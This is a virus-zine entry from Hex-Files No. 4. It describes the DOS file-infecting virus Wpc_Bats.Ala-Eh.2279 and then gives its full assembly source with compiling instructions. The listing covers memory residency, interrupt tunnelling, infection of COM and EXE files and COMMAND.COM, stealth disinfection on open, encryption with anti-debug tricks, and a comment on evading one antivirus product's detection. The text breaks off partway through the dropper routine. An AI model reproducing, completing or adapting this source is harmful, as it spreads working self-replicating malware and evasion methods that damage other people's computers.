Copy Link
Add to Bookmark
Report
Hexfiles Issue 4 File 008
HEX-FILES No. 4 File 008
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Name : Wpc_Bats.Ala-Eh.2279
Author : A.R.Jr
Origin : Lipa City, Philippines
Resides in memory through DOS TSR function (Int 21h Function 31h).
The only known Wpc_Bats variant to do so. The memory allocated is
3216 bytes.
Recognizes memory by checking the word value at 0000:0190. Virus
places a marker 'AR' here to signify that it is resident.
Hooks Int 16h (Function 00h), Int 1Ch and Int 21h (Functions 3Ch,
3Dh, 3Eh, 4B00h, 4B01h and 6Ch). Uses tunneling technique for Int 21h
and uses DOS to hook the other two interrupts.
Infects com and exe programs. The virus has only one encryption
unlike other variants which have two.
The virus length is 2279 bytes and its infective length is 2279 to
2295 bytes.
Virus is appended to host programs.
Virus is stealth.
Recognizes programs that had already been infected. It checks whether
all bits of FileTime.Second are set. It sets the FileTime.Second to
62 on infection. It also uses the text at the end of the virus to
verify an infection.
Payloads:
Randomly displays " a l a h - e h !".
Displays the text found at the end of the virus if the F1 key is
pressed. It also checks every 15 minutes whether to display this
text.
ÜÜÜÜÜ Ü ÜÜÜÜÜ ÜÜÜÜÜ Ü Ü
³ÛÜÜÜÛ³Û ³ÛÜÜÜÛ ÜÜ ³ÛÜÜÜ ³ÛÜÜÜÛ
³ÛÄÄ¿Û³ÛÜÜÜܳÛÄÄ¿Û ³ÛÜÜÜܳÛÄÄ¿Û
ÀÙ ÀÙÀÄÄÄÄÙÀÙ ÀÙ ÀÄÄÄÄÙÀÙ ÀÙ
ÄÄÄÄÄÄ A.R.Jr W P C B A T S ÄÄÄÄÄÄÄ
The virus does not check whether the text at the end of the virus had
been patched or corrupted. It is possible to find copies of this
virus with corrupted text.
ÄÄ WPCA2279.ASM STARTS HERE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± HEX-FILES No 4 ±±±
;±±±±±± ±±±±±±±±±±± ±±±
;±±±±±± Virus Name: Wpc_Bats.Ala-Eh.2279 ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±± Author : A.R.Jr. ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±± Origin : Lipa City, Philippines ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±± Program listing created by Putoksa Kawayan ±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±± ±±±±±±±±±±±±±±±±±±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± COMPILING INSTRUCTION ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± ~~~~~~~~~~~~~~~~~~~~~ ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± ±±±
;±±± This virus was originally compiled in TASM 2.0. It could also be ±±±
;±±± compiled without correction in MASM 5.0. This should be compiled ±±±
;±±± in one pass which means that nops should be preserved. ±±±
;±±± ±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;
DTA struc
_dReserved db 21 dup (?) ; reserved for next search
_dAttribute db ? ; file attribute
_dTimeStamp dw ? ; file time stamp
_dDateStamp dw ? ; file date stamp
_dLoLen dw ? ; length of file low word
_dHiLen dw ? ; length of file high word
_dFileName db 13 dup (0) ; filename of matched file
DTA ends
ExeHeader struc
_ExeID dw ? ; MZ exe identifier
_ExeMod dw ? ; bytes on last 512 blocks
_ExeBlocks dw ? ; number of 512 blocks (pages)
_ExeRelTab dw ? ; number of relocatable items
_ExeHedSize dw ? ; length in paragraphs of exe header
_ExeMinAlloc dw ? ; minimum memory required in paragraphs
_ExeMaxAlloc dw ? ; maximum memory required in paragraphs
_ExeStkSeg dw ? ; displacement for stack segment in paragraphs
_ExeStkPt dw ? ; initial value of stack pointer
_ExeCxSum dw ? ; checksum value
_ExeCodPt dw ? ; offset if program entry point
_ExeCodSeg dw ? ; displacement for code segment in paragraphs
_ExeRelFrst dw ? ; first relocatable item entry
ExeHeader ends
ExecParameter struc
_xEnvironement dw ?
_xCmdTailOffst dw ?
_xCmdTailSegmt dw ?
_xFrstFcbOffst dw ?
_xFrstFcbSegmt dw ?
_xScndFcbOffst dw ?
_xScndFcbSegmt dw ?
ExecParameter ends
WpcBatsAlaEh2279 segment 'code'
assume cs:WpcBatsAlaEh2279, ds:WpcBatsAlaEh2279
Ivt01 equ (2*4)-2
Ivt64 equ 64h*4
TerminateV equ 10
Environment equ 2ch
MemRequired equ ((((offset WpcStackPt - offset Relocator)+15)+100h)/16)+1
VirLen equ offset VirusDta - offset Relocator
AsciizLen equ 62
ScrWide equ 80
ScrHigh equ 24
org 100h
Relocator:
mov ax,cs
add ax,0
SegVirus equ word ptr $-2
push ax ; set up virus segment
mov bx,offset Dropper ; ...and offset
RelocToVir equ word ptr $-2 ; dropper writes the right stuff here
push bx
retf
MainVirusCode:
call MaskVirus ;call decryption routine
VirusMaskEnd:
push es
xor ax,ax
mov es,ax
cmp word ptr es:[Ivt64],'AR' ;check 0000:0190 if marked
jne PreparaTsr ; uses "AR" as TSR self recognition
pop es
mov ax,cs:[SavedHost] ; check host type
cmp ax,'ZM'
je HostIsExe
push es ;host is com
mov di,100h ;restore three bytes of host com
push di
stosb
mov ax,cs:[SavedHost][1]
stosw
retf ;execute host program
HostIsExe:
mov bx,es ;get psp
add bx,16 ;add psp length
mov ax,cs:_ExeStkSeg[SavedHost] ;get ss displacement
add ax,bx ;adjust
cli
mov ss,ax ;set host ss
mov sp,cs:_ExeStkPt[SavedHost] ;set host sp
sti
add bx,cs:_ExeCodSeg[SavedHost] ;set host cs displacement
push bx
push cs:_ExeCodPt[SavedHost] ;set host ip
retf ; execute host exe
PreparaTsr:
mov word ptr es:[Ivt64],'AR' ;set TSR mark
pop es
mov ax,cs ;move virus to start of segment
mov ds,ax
mov word ptr [RelocToVir],offset MainVirusCode
mov di,100h
mov si,offset Relocator
mov cx,(offset TunnelInt21-offset Relocator)/2
cld
repe movsw
push es
mov ax,offset CopyRestOfVirus ; execute from start of segment
push ax
retf
CopyRestOfVirus:
mov cx,(offset VirusDta-offset TunnelInt21)/2
repe movsw ; copy rest of the codes
mov si,cs
mov ds,si
cli
mov ss,si
mov sp,offset WpcStackPt
sti
mov [Psp],es ;save psp
mov ax,351ch
int 21h ;get and save int 1c
mov [Int1cOffset],bx
mov [Int1cSegment],es
mov ax,3516h ;get and save int 16
int 21h
mov [Int16Offset],bx
mov [Int16Segment],es
mov ax,3521h ;get and save int 21
int 21h
mov [Int21Offset],bx
mov [Int21Segment],es
mov cx,80 ;tunnel int 21
TunnelInt21:
cmp word ptr es:[bx],0ff2eh ;is it indirect far pointer?
je CheckFarPointer
inc bx
loop TunnelInt21
jmp UseDosHookInt
;<-------------------------------------- there should be a NOP here
CheckFarPointer:
inc bx
cmp word ptr es:[bx],1effh ;is it an indirect far call
je GetLocVector
cmp word ptr es:[bx],2effh ;is it an indirect far jump
je GetLocVector
loop TunnelInt21
UseDosHookInt:
mov ax,2521h ;if could not tunnel uses dos
mov dx,offset Int21Handler ;to hook int 21
int 21h
jmp HookOtherInts
;<-------------------------------------- there should be a NOP here
GetLocVector:
mov di,es:[bx+2] ;get location of far pointer
cli
mov ax,es:[di] ;get and save offset
mov [Int21Offset],ax
mov ax,es:[di+2] ;get and save segment
mov [Int21Segment],ax
mov ax,offset Int21Handler ;hook int 21
stosw
mov ax,cs
stosw
sti
HookOtherInts:
mov ax,2516h ;hook int 16
mov dx,offset Int16Handler
call UseDos
mov ax,251ch ;hook int 1c
mov dx,offset Int1cHandler
call UseDos
mov es,[Psp]
mov ax,es:[TerminateV] ;set up terminate handler to
mov [SavedTerminateVec],ax ; take control after call to 31/int 21
mov ax,es:[TerminateV][2]
mov [SavedTerminateVec][2],ax
mov word ptr es:[TerminateV],offset TerminateHandler
mov es:[TerminateV][2],cs
mov ah,49h ;release current segment
call UseDos
mov word ptr [Timer],0 ;set up int 1c counter
mov dx,MemRequired
mov ah,31h
call UseDos ;tsr
ExecParam dw 0,80h,0,5ch,0,6ch,0
TerminateHandler:
mov ax,cs ; set up 4b00/21 parameter block
mov ds,ax
mov es,ax
mov _xCmdTailSegmt[ExecParam],ax
mov _xFrstFcbSegmt[ExecParam],ax
mov _xScndFcbSegmt[ExecParam],ax
mov ax,[SavedTerminateVec] ;restore terminate handler
mov es:[TerminateV],ax
mov ax,[SavedTerminateVec][2]
mov es:[TerminateV][2],ax
mov cx,5 ; initialize handle table
mov di,offset HandleTable
mov ax,-1
InitHandleTable:
stosw
add di,AsciizLen
loop InitHandleTable
mov [HostIsExecutingFlag],1 ; set up host exec flag
;<-------------------------------------- there should be a NOP here
mov dx,offset HostName
call ExecuteHost
jnc DoneExecHost ;host program could have been renamed
cmp al,2
jne DoneExecHost ;find name in environment
mov ax,es:[Environment]
mov ds,ax
mov es,ax
cld
xor di,di
GetStartOfFileName:
mov cx,65
xor al,al
repne scasb
scasb
jne GetStartOfFileName
add di,2
mov dx,di ;found name of executing program
push cs
pop es
call ExecuteHost ;again, try to execute host
DoneExecHost:
mov cs:[HostIsExecutingFlag],0 ; clear host exec flag
;<-------------------------------------- there should be a NOP here
mov ah,4ch ; we are through we now let
call UseDos ; the handler do its thing
ExecuteHost: ; save stack segment and pointer
mov bx,offset ExecParam ; and execute host program
mov ax,4b00h
cli
mov [SavedSs],ss
mov [SavedSp],sp
pushf
call cs:[Int21]
mov ss,cs:[SavedSs]
mov sp,cs:[SavedSp]
sti
ret
InfectionCheck:
mov ax,4202h ; get file length
xor cx,cx
xor dx,dx
call UseDos
jc ErrorOnInfectCheck
mov cx,dx
mov dx,ax ; save file length
mov word ptr _dHiLen[VirusDta],cx
mov word ptr _dLoLen[VirusDta],dx
sub dx,(offset VirusDta-offset AlaehMessage)
mov ax,4200h ; move file pointer to the
call UseDos ; start of the text
jc ErrorOnInfectCheck
mov ah,3fh
mov cx,20
mov dx,offset SavedHost
call UseDos
ErrorOnInfectCheck:
ret
CommandCom db 'COMMAND.COM',0
GetFileSlack: ; determine bytes to pad host
xor dx,dx
mov cx,16
div cx
or dx,dx
jz NoPadNeeded
sub cx,dx
xchg cx,dx
NoPadNeeded:
ret
RestoreDtaErrInt: ; restores active dta and error int
mov ah,1ah
lds dx,[ActiveDta]
call UseDos
mov ax,2524h
lds dx,cs:[Int24]
call UseDos
ret
PrepareToInfectFile:
mov si,cs
mov ds,si
mov ax,3524h ; save int 24
call UseDos
mov [Int24Offset],bx
mov [Int24Segment],es
mov ah,2fh ; save active dta
call UseDos
mov [DtaOffset],bx
mov [DtaSegment],es
mov es,si
mov ax,2524h ; hook int 24
mov dx,offset Int24Handler
call UseDos
mov ah,1ah ; set virus dta
mov dx,Offset VirusDta
call UseDos
ret
CloseFileHandler:
cmp bx,30 ; too many file opened?
ja PopRegsAndExit
push ds
mov ax,cs
mov ds,ax
mov es,ax
mov si,offset HandleTable ; check whether handle
mov cx,5 ; had been saved
GetNextHandle:
lodsw
cmp ax,bx
jne CheckNextEntry
mov word ptr [si-2],-1 ; make that buffer available
mov di,offset VirusAsciiz
CopySavedAsciiz:
lodsb ; copy asciiz of closed file
stosb
or al,al
jnz CopySavedAsciiz
pop ds
pop es
pop di
pop si
pop cx
pop ax
popf
pop cs:[CloseCallerOffset]
pop cs:[CloseCallerSegment]
cli
call cs:[Int21] ; execute close file
call Infect ; and infect that program
db 0eah
CloseCallerOffset dw ?
CloseCallerSegment dw ?
CheckNextEntry:
add si,AsciizLen ; check next table entry
loop GetNextHandle
pop ds
PopRegsAndExit:
pop es
pop di
pop si
pop cx
pop ax
PassToDos:
popf
jmp cs:[Int21]
Int21Handler: ; only traps 3c,3d,3e,4b00,4b01,6c
pushf
sti
cmp ah,3ch ;create file
je FuntionsTrapped
cmp ah,3dh ;open file
je FuntionsTrapped
cmp ah,3eh ;close file
je FuntionsTrapped
cmp ah,4bh ;exec
je FuntionsTrapped
cmp ah,6ch ;open/create
jne PassToDos
FuntionsTrapped:
cld
push ax
push cx
push si
push di
push es
cmp ah,3eh ;got a separate handler for close
je CloseFileHandler
cmp ah,6ch ;for 6c, si holds the filename
je SkipRegisterSwap
mov si,dx
SkipRegisterSwap:
mov ax,cs
mov es,ax
mov di,offset VirusAsciiz ;copy path/file name
mov cx,64
CopyFileNameToAsciiz:
lodsb
stosb
or al,al
loopnz CopyFileNameToAsciiz
jcxz PopRegsAndExit
mov ax,es:[di-4]
and ax,0dfdfh ;checks for exe = EX?
cmp ax,'XE'
je GotMatch ;checks for com = CO?
cmp ax,'OC'
jne PopRegsAndExit
mov ah,es:[di-6]
mov al,es:[di-12]
and ax,0dfdfh
cmp ax,'DC' ;checks for command.com
jne GotMatch ;?C?????D.CO?
mov cs:[CommandComFlag],1
;<-------------------------------------- there should be a NOP here
GotMatch:
pop es
pop di
pop si
pop cx
pop ax
popf
cmp ah,4bh ; is it exec
je ExecHandler
pop cs:[Int21CallerOffset]
pop cs:[Int21CallerSegment]
cmp byte ptr cs:[CommandComFlag],1
je CreateFileHandler
cmp ah,3dh
je OpenFileHandler
cmp ah,3ch
je CreateFileHandler
cmp dx,0112h ; checks 6c action flags
je CreateFileHandler
OpenFileHandler:
call InfectOpen
CreateFileHandler:
mov cs:[CommandComFlag],0
;<-------------------------------------- there should be a NOP here
cli
call cs:[Int21]
jc ReturnToCaller
push ax
push cx
push si
push di
push ds
push es
mov si,cs
mov ds,si
mov es,si
mov cx,5
mov di,offset HandleTable ; is there free handle buffer
CheckHandleTableEntry:
cmp word ptr [di],-1 ; is entry free
je SaveHandle
add di,AsciizLen+2
loop CheckHandleTableEntry
jmp short HandleTableFull
SaveHandle:
stosw ; save file handle
mov si,offset VirusAsciiz ; and save its corresponding asciiz
CopyFilenameToHandleTable:
lodsb
stosb
or al,al
jnz CopyFilenameToHandleTable
HandleTableFull:
pop es
pop ds
pop di
pop si
pop cx
pop ax
ReturnToCaller:
db 0eah
Int21CallerOffset dw ?
Int21CallerSegment dw ?
ExecHandler:
cmp al,1 ;debugger load = 4b01
je ExecDebugHandler
cmp al,0 ;load and exec = 4b00
je ExecProgHandler
PassToOldDos:
jmp cs:[Int21]
ExecProgHandler:
cmp byte ptr cs:[HostIsExecutingFlag],1 ; am i infecting it
je PassToOldDos
pop cs:[ExecCallerOffset]
pop cs:[ExecCallerSegment]
call Infect ; infect the prog
mov cs:[HostIsExecutingFlag],1
;<-------------------------------------- there should be a NOP here
cli
call cs:[Int21] ; and execute it
mov cs:[HostIsExecutingFlag],0 ; clear flag
;<-------------------------------------- there should be a NOP here
db 0eah
ExecCallerOffset dw ?
ExecCallerSegment dw ?
ExecDebugHandler:
pop cs:[ExecDebugCallerOffset]
pop cs:[ExecDebugCallerSegment]
call InfectOpen
cli
call cs:[Int21]
jc ReturnToExecDebugCaller
call Infect
ReturnToExecDebugCaller:
db 0eah
ExecDebugCallerOffset dw 0bf5h ; <| without these FindVirus 7.88
ExecDebugCallerSegment dw 2f95h ;<<| would detect the virus as
; <|"this virus is like WPCB.2279"
StealthFunction:
pushf
sti
cld
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
call PrepareToInfectFile ; set up dta and int 24
mov dx,offset VirusAsciiz
mov ax,4301h
mov cx,20h ; make file writable
call UseDos
jc CleanUpAndPopA
mov ax,3d02h
call UseDos ;open it
jc RestoreAttrib
mov bx,ax
cmp byte ptr [FileIsInfectedFlag],0 ; is file already infected
je _052a
mov [FileIsInfectedFlag],0 ;not anymore
;<-------------------------------------- there should be a NOP here
mov ah,40h
mov dx,offset SavedHost ;restore original program
mov cx,24
call UseDos
_052a:
mov cx,word ptr _dHiLen[VirusDta]
mov dx,word ptr _dLoLen[VirusDta]
mov ax,4200h
call UseDos ;restore original length of program
ResetTargetInfo:
xor cx,cx
mov ah,40h
call UseDos ;update file length to orig length
mov cx,word ptr _dTimeStamp[VirusDta]
mov dx,word ptr _dDateStamp[VirusDta]
mov ax,5701h
and cl,0f0h ;clear second field of time stamp
call UseDos ;restore file time/date stamp
CloseFilePriorToExit:
mov ah,3eh ;close it
call UseDos
RestoreAttrib:
xor ch,ch
mov cl,_dAttribute[VirusDta]
mov ax,4301h
mov dx,offset VirusAsciiz
call UseDos ; restore file attribute
CleanUpAndPopA:
call RestoreDtaErrInt ; and the dta and err int
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
ret
InfectOpen:
pushf
sti
cld
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
call PrepareToInfectFile
mov ah,4eh ; find file
mov cx,23h
mov dx,offset VirusAsciiz
call UseDos
jc CleanUpAndPopA ; bad command?
mov ax,word ptr _dTimeStamp[VirusDta]
and al,1fh
cmp al,1fh ; filetime.second infection check.
jne CleanUpAndPopA
mov ax,4301h
mov cx,20h ; make file writable
call UseDos
jc CleanUpAndPopA
mov ax,3d02h ; open it
call UseDos
jc RestoreAttrib
mov bx,ax
call InfectionCheck
jc CloseFilePriorToExit
mov si,offset SavedHost ; check for text
mov di,offset AlaehMessage ; verify if really infected
mov cx,20
repe cmpsb
jne CloseFilePriorToExit
mov [FileIsInfectedFlag],1
;<-------------------------------------- there should be a NOP here
mov ax,4200h
mov cx,word ptr _dHiLen[VirusDta]
mov dx,word ptr _dLoLen[VirusDta]
sub dx,(offset VirusDta-offset SavedHost)
call UseDos
mov cx,26 ; read infected file's saved host
mov dx,offset SavedHost
mov ah,3fh
call UseDos
call MovePointerStart
mov cx,3
cmp word ptr [SavedHost],'ZM'
jne ComWriteBeginSet
mov cx,24
ComWriteBeginSet:
mov ah,40h ; restore the host program
mov dx,offset SavedHost
call UseDos
mov cx,word ptr _dHiLen[VirusDta]
mov dx,word ptr _dLoLen[VirusDta]
mov ax,[FileSlack]
add ax,VirLen
sub dx,ax
sbb cx,0
mov word ptr _dHiLen[VirusDta],cx
mov word ptr _dLoLen[VirusDta],dx
mov ax,4200h
call UseDos ; and also its length
jmp ResetTargetInfo
Infect:
pushf
sti
cld
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
call PrepareToInfectFile
mov [TargetIsInfectedFlag],0 ; set flags
;<-------------------------------------- there should be a NOP here
mov [InfectCommandComFlag],1
;<-------------------------------------- there should be a NOP here
mov dx,offset VirusAsciiz
InfectCommandCom:
mov ah,4eh
mov cx,23h
call UseDos ; use find file
jc CleanUp
mov ax,4301h
mov cx,20h ; make file writable
call UseDos
jc CleanUp
mov ax,3d02h ; open it
call UseDos
jc RestoreAttribBeforeCleanUp
mov bx,ax
mov ax,word ptr _dTimeStamp[VirusDta]
and al,1fh
cmp al,1fh ; is it infected
jne InfectProgram
call InfectionCheck
jc CloseTheFile
mov si,offset SavedHost
mov di,offset AlaEhMessage ; verify infection
mov cx,20
repe cmpsb
jne NotInfected
mov [TargetIsInfectedFlag],1
;<-------------------------------------- there should be a NOP here
CloseTheFile:
mov ah,3eh
call UseDos
RestoreAttribBeforeCleanUp:
xor ch,ch
mov cl,byte ptr _dAttribute[VirusDta]
mov ax,4301h
mov dx,offset VirusAsciiz ; restore file attribute
call UseDos
cmp byte ptr [TargetIsInfectedFlag],0
je CleanUp
cmp byte ptr [InfectCommandComFlag],0
je CleanUp
mov [InfectCommandComFlag],0
;<-------------------------------------- there should be a NOP here
mov di,offset VirusAsciiz
mov si,offset CommandCom
mov cx,6
repe movsw ; infect command.com
jmp InfectCommandCom
CleanUp:
call RestoreDtaErrInt
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
ret
NotInfected:
call MovePointerStart
InfectProgram:
mov ah,3fh ; read from start of file
mov cx,24
mov dx,offset ReadBuffer
call UseDos
jc CloseTheFile
mov si,offset ReadBuffer
mov di,offset SavedHost
mov ax,word ptr _dLoLen[VirusDta]
cmp word ptr [ReadBuffer],'ZM' ; is file exe?
jne TargetIsCom
cmp word ptr _dHiLen[VirusDta],0
ja ExeLenOk
cmp word ptr _dLoLen[VirusDta],527 ; is file at least 527 bytes
jb CloseTheFile
ExeLenOk:
mov cx,12
repe movsw ; save host data
call GetFileSlack
mov [FileSlack],dx ; determine bytes padded
mov ax,4202h
xor cx,cx
call UseDos
mov word ptr _dLoLen[VirusDta],ax
mov cl,4
mov si,_ExeHedSize[ReadBuffer] ; set diplacement/offst of virus
shl si,cl
sub ax,si
sbb dx,0
mov _ExeCodPt[ReadBuffer],ax
mov cl,4
shr ax,cl
sub ax,16
mov [SegVirus],ax ; set relocator
mov ax,dx
mov cx,1000h
mul cx
mov _ExeCodSeg[ReadBuffer],ax
add ax,[SegVirus]
mov _ExeStkSeg[ReadBuffer],ax
mov word ptr _ExeStkPt[ReadBuffer],offset VirusDta+200h
call WriteVirus
cmp ax,VirLen
je WriteVirusOk ; encrypt and write virus
RelayToCloseFile:
jmp CloseTheFile
TargetIsCom:
mov cx,3 ; save 3 bytes of com
repe movsb
call GetFileSlack
or dx,dx
jz SkipAlign
inc ax
SkipAlign:
mov [SegVirus],ax
mov [FileSlack],dx
add word ptr _dLoLen[VirusDta],dx
mov ax,4202h
xor cx,cx
call UseDos
call WriteVirus
cmp ax,VirLen
jne RelayToCloseFile
mov ax,word ptr _dLoLen[VirusDta]
sub ax,3
mov byte ptr [ComJumpByte],0e9h ; set jump to virus
mov [ComJumpDisp],ax
jmp SetWriteToBeginOfFile
;<-------------------------------------- there should be a NOP here
WriteVirusOk:
mov dx,word ptr _dHiLen[VirusDta]
mov ax,word ptr _dLoLen[VirusDta]
add ax,VirLen
adc dx,0
mov cx,200h
div cx
or dx,dx
jz PageAligned
inc ax
PageAligned:
mov _ExeMod[ReadBuffer],dx
mov _ExeBlocks[ReadBuffer],ax
mov word ptr _ExeMinAlloc[ReadBuffer],715h
SetWriteToBeginOfFile:
call MovePointerStart
mov dx,offset ReadBuffer ; set virus header
mov cx,24
mov ah,40h
call UseDos
mov cx,word ptr _dTimeStamp[VirusDta]
mov dx,word ptr _dDateStamp[VirusDta]
mov ax,5701h
or cl,1fh ; set file infection mark
call UseDos
mov ah,2ch ; get time
call UseDos
mov al,3
mov cx,4
test dh,1 ; do i print ala-eh
jz NoAlaehPrompt
CheckTime:
cmp dh,al
je ShowAlaehPrompt
add al,9
loop CheckTime
jmp NoAlaehPrompt
;<-------------------------------------- there should be a NOP here
ShowAlaehPrompt:
mov ah,9 ; print ala-eh
mov dx,offset AlaehPrompt
call UseDos
NoAlaehPrompt:
jmp CloseTheFile
SavedHost dw 12 dup (?)
FileSlack dw ?
WriteVirus:
mov cx,13
mov di,offset HostName
mov si,offset VirusDta[_dFileName]
repe movsb
mov cx,VirLen
call MaskVirus ;encrypt virus
mov dx,offset Relocator ; and write virus
mov ah,40h
call UseDos
MaskVirus:
std ;encrypts/decrypts virus
push ax
push ds
push es
xor ax,ax
mov ds,ax
mov ax,cs
mov es,ax
mov di,offset ShowAlaehPrompt ;upper limit of masked codes
VirusMaskLoop:
mov ds:[Ivt01],di ;anti-debug
VirusMaskKey equ word ptr $-2
mov ax,cs:[di] ;get codes to mask/unmask
xor al,ds:[Ivt01] ;first mask and another anti-debug
xor ax,cs:[VirusMaskKey] ;second mask
stosw ;save masked/unmasked code
cmp di,offset VirusMaskEnd ;check lower limit of masked codes
jg VirusMaskLoop
pop es
pop ds
pop ax
cld
ret
MovePointerStart:
mov ax,4200h
xor dx,dx
xor cx,cx
UseDos:
pushf
cli
db 9ah
Int21 label dword
Int21Offset dw ?
Int21Segment dw ?
ret
HostName db 13 dup (?)
AlaehPrompt db 1,' a l a - e h ! $'
Int24Handler:
mov al,3
iret
ShowAlaEhMessage: ; routine handling display of text
mov ax,0b800h
mov es,ax
mov di,((((ScrHigh-MesHigh)/2)*ScrWide)+((ScrWide-MesWide)/2))*2
mov si,offset AlaehMessage
GetAnotherMessageChar:
mov ah,es:[di+1]
or ah,15
lodsb
cmp al,13 ; end of text?
je DoneShowMess
or al,al ; end of line?
jz ShowNextLine
cmp al,32 ; if space char, use screen char
jne UseMessChar
mov ax,es:[di]
UseMessChar:
stosw
jmp GetAnotherMessageChar
ShowNextLine:
add di,(80-37)*2 ; this is "(ScrWide-MesWide)*2" but
jmp GetAnotherMessageChar ; we would not get an exact copy of
DoneShowMess: ; the virus if we use it
ret
Int16Handler:
pushf
or ah,ah ; is it get key
jnz PassToOldInt16
popf
pop cs:[Int16CallerOffset]
pop cs:[Int16CallerSegment]
db 9ah
Int16 label dword
Int16Offset dw ?
Int16Segment dw ?
pushf
cmp ax,3b00h ; is f1 pressed?
jne ReturnToInt16Caller
push ax
push si
push di
push ds
push es
mov ax,cs
mov ds,ax
call ShowAlaEhMessage ; show text
pop es
pop ds
pop di
pop si
pop ax
ReturnToInt16Caller:
popf
db 0eah
Int16CallerOffset dw ?
Int16CallerSegment dw ?
PassToOldInt16:
popf
jmp cs:[Int16]
Int1cHandler:
pop cs:[Int1cCallerOffset]
pop cs:[Int1cCallerSegment]
pushf
inc word ptr cs:[Timer]
cmp word ptr cs:[Timer],3ffch ; set timer to 15 minutes
jb PassToOldInt1c
mov word ptr cs:[Timer],0
cmp byte ptr cs:[HostIsExecutingFlag],0
je PassToOldInt1c
push ax
push si
push di
push ds
push es
mov ax,cs
mov ds,ax
call ShowAlaEhMessage ; display text
pop es
pop ds
pop di
pop si
pop ax
PassToOldInt1c:
popf
db 9ah
Int1cOffset dw ?
Int1cSegment dw ?
db 0eah
Int1cCallerOffset dw ?
Int1cCallerSegment dw ?
AlaehMessage db 32,32,5 dup (0dch),32,0dch,5 dup (32),5 dup (0dch)
db 5 dup (32),5 dup (0dch),32,0dch,32,32,32,0dch,32,32,0
db 32,0b3h,0dbh,0dch,0dch,0dch,0dbh,0b3h,0dbh,32,32,32,32
db 0b3h,0dbh,0dch,0dch,0dch,0dbh,32,0dch,0dch,32,0b3h,0dbh
db 0dch,0dch,0dch,32,0b3h,0dbh,0dch,0dch,0dch,0dbh,32,32,0
db 32,0b3h,0dbh,0c4h,0c4h,0bfh,0dbh,0b3h,0dbh,0dch,0dch,0dch
db 0dch,0b3h,0dbh,0c4h,0c4h,0bfh,0dbh,32,32,32,32,0b3h,0dbh
db 0dch,0dch,0dch,0dch,0b3h,0dbh,0c4h,0c4h,0bfh,0dbh,32,32,0
db 32,0c0h,0d9h,32,32,0c0h,0d9h,0c0h,0c4h,0c4h,0c4h,0c4h,0d9h
db 0c0h,0d9h,32,32,0c0h,0d9h,32,32,32,32,0c0h,4 dup (0c4h)
db 0d9h,0c0h,0d9h,32,32,0c0h,0d9h,32,32,0
Measure db 6 dup (0c4h),32,'A.R.Jr W P C B A T S ',7 dup (0c4h)
db 13 ;<--------- end of alaeh text delimeter
MesWide equ ($-Measure)-1
MesHigh equ ($-AlaehMessage)/(MesWide+1)
;AlaehMessage db ' ÜÜÜÜÜ Ü ÜÜÜÜÜ ÜÜÜÜÜ Ü Ü ',0
; db ' ³ÛÜÜÜÛ³Û ³ÛÜÜÜÛ ÜÜ ³ÛÜÜÜ ³ÛÜÜÜÛ ',0
; db ' ³ÛÄÄ¿Û³ÛÜÜÜܳÛÄÄ¿Û ³ÛÜÜÜܳÛÄÄ¿Û ',0
; db ' ÀÙ ÀÙÀÄÄÄÄÙÀÙ ÀÙ ÀÄÄÄÄÙÀÙ ÀÙ ',0
;Measure db 'ÄÄÄÄÄÄ A.R.Jr W P C B A T S ÄÄÄÄÄÄÄ',13
;MesWide equ (Int24-Measure)-1
;MesHigh equ ($-AlaehMessage)/(MesWide+1)
Int24 label dword
Int24Offset dw ?
Int24Segment dw ?
Psp dw ?
Timer dw ?
SavedSs dw ?
SavedSp dw ?
db 4 dup (?)
HostIsExecutingFlag db ?
FileIsInfectedFlag db 1
CommandComFlag db ?
TargetIsInfectedFlag db 1
InfectCommandComFlag db 1
SavedTerminateVec equ word ptr $
VirusDta db 45 dup (?)
ComJumpByte equ byte ptr $
ComJumpDisp equ word ptr $+1
ReadBuffer dw 12 dup (?)
db ?
ActiveDta label dword
DtaOffset dw ?
DtaSegment dw ?
VirusAsciiz db 65 dup (?)
HandleTable equ $
rept 5
dw -1 ; saved handle
db AsciizLen dup (?) ; saved asciiz
endm
StackFrame db 200 dup (?)
WpcStackPt equ $
Dropper: ;This is to skip virus decryption
xor ax,ax
mov ds,ax
cmp word ptr ds:[Ivt64],'AR' ;check if already resident
push cs
pop ds
jne NotResident
call ShowAlaEhMessage ;already resident.
mov ah,9 ;show stuffs and terminate
mov dx,offset NewLine
